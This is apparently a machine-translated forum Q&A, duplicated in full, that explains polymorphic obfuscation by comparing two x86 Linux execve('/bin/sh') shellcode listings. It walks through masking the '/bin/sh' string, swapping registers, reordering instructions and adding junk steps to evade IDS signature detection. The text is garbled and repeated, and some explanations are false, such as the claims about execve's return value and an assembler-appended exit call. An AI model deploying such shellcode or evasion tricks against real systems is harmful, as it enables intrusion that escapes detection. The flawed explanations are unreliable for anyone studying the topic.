使用两个 asm 代码中的差异解释多态混淆
Explained polymorphic obfuscation using the difference within two asm codes
这里有两个asm代码(从这个论坛polymorphic-shellcode复制过来的):
混淆前的原始汇编:
global _start
section .text
_start
xor eax,eax
push eax
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; /bin
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb ; execve()
int 0x80
xor eax,eax
inc eax
int 0x80
混淆后修改后的 asm:
global _start
section .text
_start:
xor edx, edx ;line 1
push edx ;line 2
mov eax, 0x563ED8B7 ;line 3
add eax, 0x12345678 ;line 4
push eax ;line 5
mov eax, 0xDEADC0DE ;line 6
sub eax, 0x70445EAF ;line 7
push eax ;line 8
push byte 0xb ;line 9
pop eax ;line 10
mov ecx, edx ;line 11
mov ebx, esp ;line 12
push byte 0x1 ;line 13
pop esi ;line 14
int 0x80 ;line 15
xchg esi, eax ;line 16
int 0x80 ;line 17
它有四个变化:
1。通过执行算术运算而不是直接将十六进制值压入堆栈来屏蔽 /bin/sh 字符串。
Q1.1:我能理解第 3 行到第 8 行(修订后的 asm)。 9号线是什么意思?等于原始 asm 中的“mov al,0xb”?
2。尽可能使用与原始代码不同的寄存器。
Q2.1:比如第1行和第2行(revised asm)指的是这个?
Q2.2:我理解混淆是让IDS无法匹配关键字,为什么要换寄存器?
3。重新排序说明。在调用 execve 之前不要以相同的顺序初始化寄存器。
Q3.1:这个我不明白。用上面两个asm解释一下。
4。引入一些不必要的步骤。例如:推送字节 0x1;弹出 esi; xchg esi,eax 而不是在执行第一个 int 0x80 指令后弹出到 eax。
Q4.1:在原来的asm中,为什么会有两个int 0x80?我试图删除最后一个 0x80,它仍然有效。
Q4.2:增加不必要的步骤是否与混淆直接相关?
Q5:为什么在第 10 行“pop eax”?
Q1.1: I can understand line 3 to 8 (in revised asm). what means line 9? equals to "mov al,0xb" in original asm?
第 9 行和第 10 行做 push byte 0xb, pop eax
,这显然转换为 mov eax,0x0000000b
。因为 x86 是小尾数法,所以用 0xb
填充 al
(eax
寄存器的其余部分用零填充)。所以它实际上是在替换 xor eax,eax
/ mov al,0xb
组合。
push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax -> mov eax,[ss:esp] ; ergo eax = 0x0000000b
Q2.2: i understand obfuscation as let IDS cannot match keywords, why change registers?
许多编译器以或多或少的标准方式使用寄存器。像 IDA-pro(或 IDS)这样的高级程序可以使用此知识将程序集反编译回可读的源代码,前提是它可以推断出用于创建程序的确切编译器版本。通过混合寄存器,反编译器更难将汇编代码翻译成更高级别的(伪)源代码。 IDS 也是如此,它使用已知的代码片段来推断程序执行的操作。
Reorder instructions. Don’t initialize the registers in the same order before calling execve.
Q3.1: I do not understand this. Explain it using above two asm.
如果您使用系统调用,则可以相对容易地推断出应用程序正在执行的操作。 Linux(例如)将 call# 存储在 eax
中,并且每个调用都在预定的寄存器中指定了参数。通过使分析程序难以确定 eax
的值,不清楚正在执行哪个系统调用。没有这方面的知识,就无法知道其他寄存器(读取:参数)的含义。如果你用无意义的值填充 non-used 寄存器,那么事情就变得更难解释了。
混淆器不想让您知道它正在调用系统调用 #11 (execve)。唯一的方法是尝试以 round-about 的方式用 0xb
加载 eax
。
如果我们总是最后(或最先)加载 eax
,那么就更容易弄清楚发生了什么。如果我们使用 2 条或更多指令加载 eax
,并且在它们之间放置许多不相关的指令,那么在执行系统调用的 int 0x80
之前跟踪 eax
的最终值变得更加困难.
Q4.1: In the original asm, why there are two int 0x80
? I have tried to delete the last 0x80, it still works. Q4.2: Is add unnecessary steps directly related to obfuscation??
不,之前对 (execve) 的系统调用会在成功 return 后将 1
加载到 eax 中。系统调用 #1 恰好是 sys_exit
,它干净地关闭了程序。将代码注入程序时,插入片段之后的字节是随机垃圾,我们不想执行这些,因此必须干净地退出线程。对 sys_exit
的调用实现了这一点。
如果您 assemble 此代码段作为 stand-alone 程序,assembler 将为您附加一个 sys_exit
调用。这就是为什么删除最后一个 int 0x80
似乎没有任何区别。
Q5: why "pop eax" in line 10?
首先 0xb
被 push
ed,然后 pop
ed 到 eax
,本质上执行 mov eax,0xb
.
这里有两个asm代码(从这个论坛polymorphic-shellcode复制过来的):
混淆前的原始汇编:
global _start
section .text
_start
xor eax,eax
push eax
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; /bin
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb ; execve()
int 0x80
xor eax,eax
inc eax
int 0x80
混淆后修改后的 asm:
global _start
section .text
_start:
xor edx, edx ;line 1
push edx ;line 2
mov eax, 0x563ED8B7 ;line 3
add eax, 0x12345678 ;line 4
push eax ;line 5
mov eax, 0xDEADC0DE ;line 6
sub eax, 0x70445EAF ;line 7
push eax ;line 8
push byte 0xb ;line 9
pop eax ;line 10
mov ecx, edx ;line 11
mov ebx, esp ;line 12
push byte 0x1 ;line 13
pop esi ;line 14
int 0x80 ;line 15
xchg esi, eax ;line 16
int 0x80 ;line 17
它有四个变化:
1。通过执行算术运算而不是直接将十六进制值压入堆栈来屏蔽 /bin/sh 字符串。
Q1.1:我能理解第 3 行到第 8 行(修订后的 asm)。 9号线是什么意思?等于原始 asm 中的“mov al,0xb”?
2。尽可能使用与原始代码不同的寄存器。
Q2.1:比如第1行和第2行(revised asm)指的是这个?
Q2.2:我理解混淆是让IDS无法匹配关键字,为什么要换寄存器?
3。重新排序说明。在调用 execve 之前不要以相同的顺序初始化寄存器。
Q3.1:这个我不明白。用上面两个asm解释一下。
4。引入一些不必要的步骤。例如:推送字节 0x1;弹出 esi; xchg esi,eax 而不是在执行第一个 int 0x80 指令后弹出到 eax。
Q4.1:在原来的asm中,为什么会有两个int 0x80?我试图删除最后一个 0x80,它仍然有效。 Q4.2:增加不必要的步骤是否与混淆直接相关?
Q5:为什么在第 10 行“pop eax”?
Q1.1: I can understand line 3 to 8 (in revised asm). what means line 9? equals to "mov al,0xb" in original asm?
第 9 行和第 10 行做 push byte 0xb, pop eax
,这显然转换为 mov eax,0x0000000b
。因为 x86 是小尾数法,所以用 0xb
填充 al
(eax
寄存器的其余部分用零填充)。所以它实际上是在替换 xor eax,eax
/ mov al,0xb
组合。
push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax -> mov eax,[ss:esp] ; ergo eax = 0x0000000b
Q2.2: i understand obfuscation as let IDS cannot match keywords, why change registers?
许多编译器以或多或少的标准方式使用寄存器。像 IDA-pro(或 IDS)这样的高级程序可以使用此知识将程序集反编译回可读的源代码,前提是它可以推断出用于创建程序的确切编译器版本。通过混合寄存器,反编译器更难将汇编代码翻译成更高级别的(伪)源代码。 IDS 也是如此,它使用已知的代码片段来推断程序执行的操作。
Reorder instructions. Don’t initialize the registers in the same order before calling execve. Q3.1: I do not understand this. Explain it using above two asm.
如果您使用系统调用,则可以相对容易地推断出应用程序正在执行的操作。 Linux(例如)将 call# 存储在 eax
中,并且每个调用都在预定的寄存器中指定了参数。通过使分析程序难以确定 eax
的值,不清楚正在执行哪个系统调用。没有这方面的知识,就无法知道其他寄存器(读取:参数)的含义。如果你用无意义的值填充 non-used 寄存器,那么事情就变得更难解释了。
混淆器不想让您知道它正在调用系统调用 #11 (execve)。唯一的方法是尝试以 round-about 的方式用 0xb
加载 eax
。
如果我们总是最后(或最先)加载 eax
,那么就更容易弄清楚发生了什么。如果我们使用 2 条或更多指令加载 eax
,并且在它们之间放置许多不相关的指令,那么在执行系统调用的 int 0x80
之前跟踪 eax
的最终值变得更加困难.
Q4.1: In the original asm, why there are two
int 0x80
? I have tried to delete the last 0x80, it still works. Q4.2: Is add unnecessary steps directly related to obfuscation??
不,之前对 (execve) 的系统调用会在成功 return 后将 1
加载到 eax 中。系统调用 #1 恰好是 sys_exit
,它干净地关闭了程序。将代码注入程序时,插入片段之后的字节是随机垃圾,我们不想执行这些,因此必须干净地退出线程。对 sys_exit
的调用实现了这一点。
如果您 assemble 此代码段作为 stand-alone 程序,assembler 将为您附加一个 sys_exit
调用。这就是为什么删除最后一个 int 0x80
似乎没有任何区别。
Q5: why "pop eax" in line 10?
首先 0xb
被 push
ed,然后 pop
ed 到 eax
,本质上执行 mov eax,0xb
.